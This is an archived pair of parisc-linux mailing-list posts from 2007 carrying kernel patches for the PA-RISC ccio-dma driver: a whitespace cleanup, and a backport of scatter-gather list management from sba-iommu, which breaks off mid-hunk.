Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 17:03:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 18 Oct 2007 19:03:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8526E7E8EE;
	Thu, 18 Oct 2007 11:03:18 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id v5Kyhxd9qRHx; Thu, 18 Oct 2007 11:03:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72B227E8F1;
	Thu, 18 Oct 2007 10:46:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CA737E498
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:57:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 63EMVK9if1-W for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:57:28 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 661B37E47D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:57:28 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 9DB9F494009; Tue, 16 Oct 2007 16:57:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 23014 seconds by postgrey-1.27 at palinux;
	Tue, 16 Oct 2007 16:57:23 MDT
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 154B2494006;
	Tue, 16 Oct 2007 16:57:23 -0600 (MDT)
Original-Received: from (ip-213-49-89-75.dsl.scarlet.be [213.49.89.75])
	by guri.is.scarlet.be  with ESMTP id l9GGXk015257;
	Tue, 16 Oct 2007 18:33:46 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kuR2I2Eva0ApbL6aejEzQ0U3Njh6dE6t
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25454

This is a multi-part message in MIME format.
--------------090708090909020603090108
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hello all,

I reach to get some time to attempt to finalize this
<http://lists.parisc-linux.org/pipermail/parisc-linux/2007-January/031129.html>

This first hunk just do some white space cleanup:

Hth,
J.

--------------090708090909020603090108
Content-Type: text/x-patch;
 name="wp-cleanup-ccio-dma.c.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="wp-cleanup-ccio-dma.c.patch"

Index: linux-current/drivers/parisc/ccio-dma.c
===================================================================
--- linux-current.orig/drivers/parisc/ccio-dma.c	2007-10-15 08:04:13.000000000 +0000
+++ linux-current/drivers/parisc/ccio-dma.c	2007-10-15 08:46:02.000000000 +0000
@@ -52,7 +52,7 @@
 #include <asm/hardware.h>       /* for register_module() */
 #include <asm/parisc-device.h>
 
-/* 
+/*
 ** Choose "ccio" since that's what HP-UX calls it.
 ** Make it easier for folks to migrate from one to the other :^)
 */
@@ -102,43 +102,43 @@
 #define DBG_RUN_SG(x...)
 #endif
 
-#define CCIO_INLINE	inline
-#define WRITE_U32(value, addr) __raw_writel(value, addr)
-#define READ_U32(addr) __raw_readl(addr)
-
-#define U2_IOA_RUNWAY 0x580
-#define U2_BC_GSC     0x501
-#define UTURN_IOA_RUNWAY 0x581
-#define UTURN_BC_GSC     0x502
-
-#define IOA_NORMAL_MODE      0x00020080 /* IO_CONTROL to turn on CCIO        */
-#define CMD_TLB_DIRECT_WRITE 35         /* IO_COMMAND for I/O TLB Writes     */
-#define CMD_TLB_PURGE        33         /* IO_COMMAND to Purge I/O TLB entry */
+#define CCIO_INLINE		inline
+#define WRITE_U32(value, addr)	__raw_writel(value, addr)
+#define READ_U32(addr)		__raw_readl(addr)
+
+#define U2_IOA_RUNWAY		0x580
+#define U2_BC_GSC		0x501
+#define UTURN_IOA_RUNWAY	0x581
+#define UTURN_BC_GSC		0x502
+
+#define IOA_NORMAL_MODE		0x00020080	/* IO_CONTROL to turn on CCIO        */
+#define CMD_TLB_DIRECT_WRITE	35		/* IO_COMMAND for I/O TLB Writes     */
+#define CMD_TLB_PURGE		33		/* IO_COMMAND to Purge I/O TLB entry */
 
 struct ioa_registers {
-        /* Runway Supervisory Set */
-        int32_t    unused1[12];
-        uint32_t   io_command;             /* Offset 12 */
-        uint32_t   io_status;              /* Offset 13 */
-        uint32_t   io_control;             /* Offset 14 */
-        int32_t    unused2[1];
-
-        /* Runway Auxiliary Register Set */
-        uint32_t   io_err_resp;            /* Offset  0 */
-        uint32_t   io_err_info;            /* Offset  1 */
-        uint32_t   io_err_req;             /* Offset  2 */
-        uint32_t   io_err_resp_hi;         /* Offset  3 */
-        uint32_t   io_tlb_entry_m;         /* Offset  4 */
-        uint32_t   io_tlb_entry_l;         /* Offset  5 */
-        uint32_t   unused3[1];
-        uint32_t   io_pdir_base;           /* Offset  7 */
-        uint32_t   io_io_low_hv;           /* Offset  8 */
-        uint32_t   io_io_high_hv;          /* Offset  9 */
-        uint32_t   unused4[1];
-        uint32_t   io_chain_id_mask;       /* Offset 11 */
-        uint32_t   unused5[2];
-        uint32_t   io_io_low;              /* Offset 14 */
-        uint32_t   io_io_high;             /* Offset 15 */
+	/* Runway Supervisory Set */
+	int32_t unused1[12];
+	uint32_t	io_command;	/* Offset 12 */
+	uint32_t	io_status;	/* Offset 13 */
+	uint32_t	io_control;	/* Offset 14 */
+	int32_t unused2[1];
+
+	/* Runway Auxiliary Register Set */
+	uint32_t	io_err_resp;	/* Offset  0 */
+	uint32_t	io_err_info;	/* Offset  1 */
+	uint32_t	io_err_req;	/* Offset  2 */
+	uint32_t	io_err_resp_hi;	/* Offset  3 */
+	uint32_t	io_tlb_entry_m;	/* Offset  4 */
+	uint32_t	io_tlb_entry_l;	/* Offset  5 */
+	uint32_t unused3[1];
+	uint32_t	io_pdir_base;	/* Offset  7 */
+	uint32_t	io_io_low_hv;	/* Offset  8 */
+	uint32_t	io_io_high_hv;	/* Offset  9 */
+        uint32_t unused4[1];
+	uint32_t	io_chain_id_mask;/* Offset 11 */
+	uint32_t unused5[2];
+	uint32_t	io_io_low;	/* Offset 14 */
+	uint32_t	io_io_high;	/* Offset 15 */
 };
 
 /*
@@ -146,7 +146,7 @@
 ** -------------
 **
 ** Runway IO_CONTROL Register (+0x38)
-** 
+**
 ** The Runway IO_CONTROL register controls the forwarding of transactions.
 **
 ** | 0  ...  13  |  14 15 | 16 ... 21 | 22 | 23 24 |  25 ... 31 |
@@ -173,7 +173,7 @@
 **
 ** o TLB field affects transactions which are forwarded from GSC+ to Runway.
 **   "Real" mode is the poweron default.
-** 
+**
 **   TLB Mode  Value  Description
 **   Real        0    No TLB translation. Address is directly mapped and the
 **                    virtual address is composed of selected physical bits.
@@ -218,7 +218,7 @@
 ** modify the architectural IO_IO_LOW and IO_IO_HIGH registers following
 ** the PDC initialization.  However, the hardware version dependent IO_IO_LOW
 ** and IO_IO_HIGH registers should not be subsequently altered by the OS.
-** 
+**
 ** Writes to both sets of registers will take effect immediately, bypassing
 ** the queues, which ensures that subsequent Runway transactions are checked
 ** against the updated bounds values. However reads are queued, introducing
@@ -228,40 +228,40 @@
 */
 
 struct ioc {
-	struct ioa_registers __iomem *ioc_regs;  /* I/O MMU base address */
-	u8  *res_map;	                /* resource map, bit == pdir entry */
-	u64 *pdir_base;	                /* physical base address */
-	u32 pdir_size; 			/* bytes, function of IOV Space size */
-	u32 res_hint;	                /* next available IOVP - 
-					   circular search */
-	u32 res_size;		    	/* size of resource map in bytes */
-	spinlock_t res_lock;
+	struct ioa_registers __iomem *ioc_regs;	/* I/O MMU base address */
+	u8		*res_map;		/* resource map, bit == pdir entry */
+	u64		*pdir_base;		/* physical base address */
+	u32		pdir_size; 		/* bytes, function of IOV Space size */
+	u32		res_hint;		/* next available IOVP -
+						   circular search */
+	u32		res_size;		/* size of resource map in bytes */
+	spinlock_t	res_lock;
 
 #ifdef CCIO_SEARCH_TIME
 #define CCIO_SEARCH_SAMPLE 0x100
-	unsigned long avg_search[CCIO_SEARCH_SAMPLE];
-	unsigned long avg_idx;		  /* current index into avg_search */
+	unsigned long	avg_search[CCIO_SEARCH_SAMPLE];
+	unsigned long	avg_idx;		/* current index into avg_search */
 #endif
 #ifdef CCIO_MAP_STATS
-	unsigned long used_pages;
-	unsigned long msingle_calls;
-	unsigned long msingle_pages;
-	unsigned long msg_calls;
-	unsigned long msg_pages;
-	unsigned long usingle_calls;
-	unsigned long usingle_pages;
-	unsigned long usg_calls;
-	unsigned long usg_pages;
+	unsigned long	used_pages;
+	unsigned long	msingle_calls;
+	unsigned long	msingle_pages;
+	unsigned long	msg_calls;
+	unsigned long	msg_pages;
+	unsigned long	usingle_calls;
+	unsigned long	usingle_pages;
+	unsigned long	usg_calls;
+	unsigned long	usg_pages;
 #endif
-	unsigned short cujo20_bug;
+	unsigned short	cujo20_bug;
 
 	/* STUFF We don't need in performance path */
-	u32 chainid_shift; 		/* specify bit location of chain_id */
-	struct ioc *next;		/* Linked list of discovered iocs */
-	const char *name;		/* device name from firmware */
-	unsigned int hw_path;           /* the hardware path this ioc is associatd with */
-	struct pci_dev *fake_pci_dev;   /* the fake pci_dev for non-pci devs */
-	struct resource mmio_region[2]; /* The "routed" MMIO regions */
+	u32		chainid_shift;	/* specify bit location of chain_id */
+	struct ioc	*next;		/* Linked list of discovered iocs */
+	const char	*name;		/* device name from firmware */
+	unsigned int	hw_path;	/* the hardware path this ioc is associatd with */
+	struct pci_dev	*fake_pci_dev;	/* the fake pci_dev for non-pci devs */
+	struct resource	mmio_region[2];	/* The "routed" MMIO regions */
 };
 
 static struct ioc *ioc_list;
@@ -282,17 +282,17 @@
 *   match the I/O TLB replacement policy.
 *
 ***************************************************************/
-#define IOVP_SIZE PAGE_SIZE
-#define IOVP_SHIFT PAGE_SHIFT
-#define IOVP_MASK PAGE_MASK
+#define IOVP_SIZE	PAGE_SIZE
+#define IOVP_SHIFT	PAGE_SHIFT
+#define IOVP_MASK	PAGE_MASK
 
 /* Convert from IOVP to IOVA and vice versa. */
-#define CCIO_IOVA(iovp,offset) ((iovp) | (offset))
-#define CCIO_IOVP(iova) ((iova) & IOVP_MASK)
+#define CCIO_IOVA(iovp,offset)	((iovp) | (offset))
+#define CCIO_IOVP(iova)		((iova) & IOVP_MASK)
 
-#define PDIR_INDEX(iovp)    ((iovp)>>IOVP_SHIFT)
-#define MKIOVP(pdir_idx)    ((long)(pdir_idx) << IOVP_SHIFT)
-#define MKIOVA(iovp,offset) (dma_addr_t)((long)iovp | (long)offset)
+#define PDIR_INDEX(iovp)	((iovp)>>IOVP_SHIFT)
+#define MKIOVP(pdir_idx)	((long)(pdir_idx) << IOVP_SHIFT)
+#define MKIOVA(iovp,offset)	(dma_addr_t)((long)iovp | (long)offset)
 
 /*
 ** Don't worry about the 150% average search length on a miss.
@@ -350,8 +350,8 @@
 	
 	BUG_ON(pages_needed == 0);
 	BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
-     
-	DBG_RES("%s() size: %d pages_needed %d\n", 
+
+	DBG_RES("%s() size: %d pages_needed %d\n",
 		__FUNCTION__, size, pages_needed);
 
 	/*
@@ -409,7 +409,7 @@
 #ifdef CCIO_MAP_STATS
 	ioc->used_pages += pages_needed;
 #endif
-	/* 
+	/*
 	** return the bit address.
 	*/
 	return res_idx << 3;
@@ -439,7 +439,7 @@
 	BUG_ON((pages_mapped * IOVP_SIZE) > DMA_CHUNK_SIZE);
 	BUG_ON(pages_mapped > BITS_PER_LONG);
 
-	DBG_RES("%s():  res_idx: %d pages_mapped %d\n", 
+	DBG_RES("%s():  res_idx: %d pages_mapped %d\n",
 		__FUNCTION__, res_idx, pages_mapped);
 
 #ifdef CCIO_MAP_STATS
@@ -478,7 +478,7 @@
 #define KERNEL_SPACE 0
 
 /*
-** DMA "Page Type" and Hints 
+** DMA "Page Type" and Hints
 ** o if SAFE_DMA isn't set, mapping is for FAST_DMA. SAFE_DMA should be
 **   set for subcacheline DMA transfers since we don't want to damage the
 **   other part of a cacheline.
@@ -497,7 +497,7 @@
 **   and Invalidation of Prefetch Entries".
 **
 ** FIXME: the default hints need to be per GSC device - not global.
-** 
+**
 ** HP-UX dorks: linux device driver programming model is totally different
 **    than HP-UX's. HP-UX always sets HINT_PREFETCH since it's drivers
 **    do special things to work on non-coherent platforms...linux has to
@@ -553,7 +553,7 @@
  * The virtual index field is filled with the results of the LCI
  * (Load Coherence Index) instruction.  The 8 bits used for the virtual
  * index are bits 12:19 of the value returned by LCI.
- */ 
+ */
 void CCIO_INLINE
 ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		   unsigned long hints)
@@ -660,7 +660,7 @@
  *        (We do need to maker I/O PDIR entries invalid regardless).
  *
  * FIXME: Can we change byte_cnt to pages_mapped?
- */ 
+ */
 static CCIO_INLINE void
 ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
 {
@@ -676,7 +676,7 @@
 		char *pdir_ptr = (char *) &(ioc->pdir_base[idx]);
 
 		BUG_ON(idx >= (ioc->pdir_size / sizeof(u64)));
-		pdir_ptr[7] = 0;	/* clear only VALID bit */ 
+		pdir_ptr[7] = 0;	/* clear only VALID bit */
 		/*
 		** FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
 		**   PCX-U/U+ do. (eg C200/C240)
@@ -708,7 +708,7 @@
  *
  * This function implements the pci_dma_supported function.
  */
-static int 
+static int
 ccio_dma_supported(struct device *dev, u64 mask)
 {
 	if(dev == NULL) {
@@ -730,7 +730,7 @@
  *
  * This function implements the pci_map_single function.
  */
-static dma_addr_t 
+static dma_addr_t
 ccio_map_single(struct device *dev, void *addr, size_t size,
 		enum dma_data_direction direction)
 {
@@ -798,12 +798,12 @@
  *
  * This function implements the pci_unmap_single function.
  */
-static void 
-ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size, 
+static void
+ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 		  enum dma_data_direction direction)
 {
 	struct ioc *ioc;
-	unsigned long flags; 
+	unsigned long flags;
 	dma_addr_t offset = iova & ~IOVP_MASK;
 	
 	BUG_ON(!dev);
@@ -836,7 +836,7 @@
  *
  * This function implements the pci_alloc_consistent function.
  */
-static void * 
+static void *
 ccio_alloc_consistent(struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
 {
       void *ret;
@@ -869,8 +869,8 @@
  *
  * This function implements the pci_free_consistent function.
  */
-static void 
-ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr, 
+static void
+ccio_free_consistent(struct device *dev, size_t size, void *cpu_addr,
 		     dma_addr_t dma_handle)
 {
 	ccio_unmap_single(dev, dma_handle, size, 0);
@@ -899,7 +899,7 @@
  * This function implements the pci_map_sg function.
  */
 static int
-ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
+ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	    enum dma_data_direction direction)
 {
 	struct ioc *ioc;
@@ -947,7 +947,7 @@
 	**
 	** map the virtual addresses to the I/O Pdir
 	** o dma_address will contain the pdir index
-	** o dma_len will contain the number of bytes to map 
+	** o dma_len will contain the number of bytes to map
 	** o page/offset contain the virtual address.
 	*/
 	filled = iommu_fill_pdir(ioc, sglist, nents, hint, ccio_io_pdir_entry);
@@ -975,8 +975,8 @@
  *
  * This function implements the pci_unmap_sg function.
  */
-static void 
-ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents, 
+static void
+ccio_unmap_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	      enum dma_data_direction direction)
 {
 	struct ioc *ioc;
@@ -1016,7 +1016,7 @@
 	.dma_sync_single_for_cpu =	NULL,	/* NOP for U2/Uturn */
 	.dma_sync_single_for_device =	NULL,	/* NOP for U2/Uturn */
 	.dma_sync_sg_for_cpu =		NULL,	/* ditto */
-	.dma_sync_sg_for_device =		NULL,	/* ditto */
+	.dma_sync_sg_for_device =	NULL,	/* ditto */
 };
 
 #ifdef CONFIG_PROC_FS
@@ -1044,16 +1044,16 @@
 				  (int)(ioc->used_pages * 100 / total_pages));
 #endif
 
-		len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n", 
+		len += seq_printf(m, "Resource bitmap : %d bytes (%d pages)\n",
 				  ioc->res_size, total_pages);
 
 #ifdef CCIO_SEARCH_TIME
 		min = max = ioc->avg_search[0];
 		for(j = 0; j < CCIO_SEARCH_SAMPLE; ++j) {
 			avg += ioc->avg_search[j];
-			if(ioc->avg_search[j] > max) 
+			if(ioc->avg_search[j] > max)
 				max = ioc->avg_search[j];
-			if(ioc->avg_search[j] < min) 
+			if(ioc->avg_search[j] < min)
 				min = ioc->avg_search[j];
 		}
 		avg /= CCIO_SEARCH_SAMPLE;
@@ -1070,7 +1070,7 @@
 		max = ioc->usingle_pages - ioc->usg_pages;
 		len += seq_printf(m, "pci_unmap_single: %8ld calls  %8ld pages (avg %d/1000)\n",
 				  min, max, (int)((max * 1000)/min));
- 
+
 		len += seq_printf(m, "pci_map_sg()    : %8ld calls  %8ld pages (avg %d/1000)\n",
 				  ioc->msg_calls, ioc->msg_pages,
 				  (int)((ioc->msg_pages * 1000)/ioc->msg_calls));
@@ -1310,7 +1310,7 @@
 			iova_space_size>>20,
 			iov_order + PAGE_SHIFT);
 
-	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL, 
+	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL,
 						 get_order(ioc->pdir_size));
 	if(NULL == ioc->pdir_base) {
 		panic("%s() could not allocate I/O Page Table\n", __FUNCTION__);
@@ -1324,7 +1324,7 @@
  	ioc->res_size = (ioc->pdir_size / sizeof(u64)) >> 3;
 	DBG_INIT("%s() res_size 0x%x\n", __FUNCTION__, ioc->res_size);
 	
-	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL, 
+	ioc->res_map = (u8 *)__get_free_pages(GFP_KERNEL,
 					      get_order(ioc->res_size));
 	if(NULL == ioc->res_map) {
 		panic("%s() could not allocate resource map\n", __FUNCTION__);
@@ -1347,10 +1347,10 @@
 	/*
 	** Initialize IOA hardware
 	*/
-	WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift, 
+	WRITE_U32(CCIO_CHAINID_MASK << ioc->chainid_shift,
 		  &ioc->ioc_regs->io_chain_id_mask);
 
-	WRITE_U32(virt_to_phys(ioc->pdir_base), 
+	WRITE_U32(virt_to_phys(ioc->pdir_base),
 		  &ioc->ioc_regs->io_pdir_base);
 
 	/*
@@ -1398,7 +1398,7 @@
 	 */
 	result = insert_resource(&iomem_resource, res);
 	if (result < 0) {
-		printk(KERN_ERR "%s() failed to claim CCIO bus address space (%08lx,%08lx)\n", 
+		printk(KERN_ERR "%s() failed to claim CCIO bus address space (%08lx,%08lx)\n",
 	 		__FUNCTION__, res->start, res->end);
 	}
 }

--------------090708090909020603090108
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------090708090909020603090108--



From - Thu Nov 08 21:37:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 2/2] backport of sba sg list management to
	ccio-dma
Date: Tue, 16 Oct 2007 16:34:08 +0000
Lines: 751
Approved: news@gmane.org
Message-ID: <4714E800.50709__42880.8140605271$1416624645$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------060309050404030803040800"
X-Trace: ger.gmane.org 1416624645 28519 80.91.229.3 (22 Nov 2014 02:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org,
 Kyle McMartin <kyle@mcmartin.ca>,
 Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 17:03:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 18 Oct 2007 19:03:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A5907E450;
	Thu, 18 Oct 2007 11:03:34 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id S+Qau+MZYK4w; Thu, 18 Oct 2007 11:03:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AEFB17E8F5;
	Thu, 18 Oct 2007 10:46:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04CBD7E498
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:58:32 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uhx-Y7mv+WVX for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:58:18 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 901FD7E47D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Oct 2007 16:58:18 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 763BD494009; Tue, 16 Oct 2007 16:58:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 62F81494006;
	Tue, 16 Oct 2007 16:58:17 -0600 (MDT)
Original-Received: from (ip-213-49-89-75.dsl.scarlet.be [213.49.89.75])
	by guri.is.scarlet.be  with ESMTP id l9GGY9015762;
	Tue, 16 Oct 2007 18:34:09 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: geR+dGBjeWU2aK2TZm9niB4rL0tsZo0Z
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25455

This is a multi-part message in MIME format.
--------------060309050404030803040800
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

And here is the main hunk:

This consist of 'backporting' to ccio of the most of Grant's work on sg list
management of sba-iommu.

According to some stress test on d380 it makes ncr driver more stable; improve
network perf on my d380 (from 110 to 430 kb/s);
(would allow in a next step merge some hunk of sba code in iommu-helper.h)

Tia,
J.

--------------060309050404030803040800
Content-Type: text/x-patch;
 name="bp-sba_sg-2-ccio-dma.c.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="bp-sba_sg-2-ccio-dma.c.patch"

Index: linux-current/drivers/parisc/ccio-dma.c
===================================================================
--- linux-current.orig/drivers/parisc/ccio-dma.c	2007-10-15 10:48:27.000000000 +0000
+++ linux-current/drivers/parisc/ccio-dma.c	2007-10-15 14:15:03.000000000 +0000
@@ -51,6 +51,7 @@
 #include <asm/io.h>
 #include <asm/hardware.h>       /* for register_module() */
 #include <asm/parisc-device.h>
+#include <asm/delay.h>
 
 /*
 ** Choose "ccio" since that's what HP-UX calls it.
@@ -102,7 +103,11 @@
 #define DBG_RUN_SG(x...)
 #endif
 
-#define CCIO_INLINE		inline
+#undef DMA_CHUNK_SIZE
+#define DMA_CHUNK_SIZE		(BITS_PER_LONG * IOVP_SIZE)
+#define DELAYED_RESOURCE_CNT	16
+
+#define CCIO_INLINE		__inline__
 #define WRITE_U32(value, addr)	__raw_writel(value, addr)
 #define READ_U32(addr)		__raw_readl(addr)
 
@@ -134,7 +139,7 @@
 	uint32_t	io_pdir_base;	/* Offset  7 */
 	uint32_t	io_io_low_hv;	/* Offset  8 */
 	uint32_t	io_io_high_hv;	/* Offset  9 */
-        uint32_t unused4[1];
+	uint32_t unused4[1];
 	uint32_t	io_chain_id_mask;/* Offset 11 */
 	uint32_t unused5[2];
 	uint32_t	io_io_low;	/* Offset 14 */
@@ -227,16 +232,28 @@
 ** returns before issuing subsequent writes.
 */
 
+typedef unsigned long	address_t;
+
 struct ioc {
 	struct ioa_registers __iomem *ioc_regs;	/* I/O MMU base address */
 	u8		*res_map;		/* resource map, bit == pdir entry */
 	u64		*pdir_base;		/* physical base address */
 	u32		pdir_size; 		/* bytes, function of IOV Space size */
-	u32		res_hint;		/* next available IOVP -
+	address_t	*res_hint;		/* next available IOVP -
 						   circular search */
-	u32		res_size;		/* size of resource map in bytes */
 	spinlock_t	res_lock;
 
+	uint32_t	res_bitshift;		/* from the LEFT! */
+	u32		res_size;		/* size of resource map in bytes */
+
+#if DELAYED_RESOURCE_CNT > 0
+	int             saved_cnt;
+	struct ioc_dma_pair {
+		dma_addr_t      iova;
+		size_t          size;
+	} saved[DELAYED_RESOURCE_CNT];
+#endif
+
 #ifdef CCIO_SEARCH_TIME
 #define CCIO_SEARCH_SAMPLE 0x100
 	unsigned long	avg_search[CCIO_SEARCH_SAMPLE];
@@ -259,7 +276,7 @@
 	u32		chainid_shift;	/* specify bit location of chain_id */
 	struct ioc	*next;		/* Linked list of discovered iocs */
 	const char	*name;		/* device name from firmware */
-	unsigned int	hw_path;	/* the hardware path this ioc is associatd with */
+	uint32_t	hw_path;	/* the hardware path this ioc is associatd with */
 	struct pci_dev	*fake_pci_dev;	/* the fake pci_dev for non-pci devs */
 	struct resource	mmio_region[2];	/* The "routed" MMIO regions */
 };
@@ -290,45 +307,115 @@
 #define CCIO_IOVA(iovp,offset)	((iovp) | (offset))
 #define CCIO_IOVP(iova)		((iova) & IOVP_MASK)
 
+#define PDIR_ENTRY_SIZE		sizeof(u64)
 #define PDIR_INDEX(iovp)	((iovp)>>IOVP_SHIFT)
+
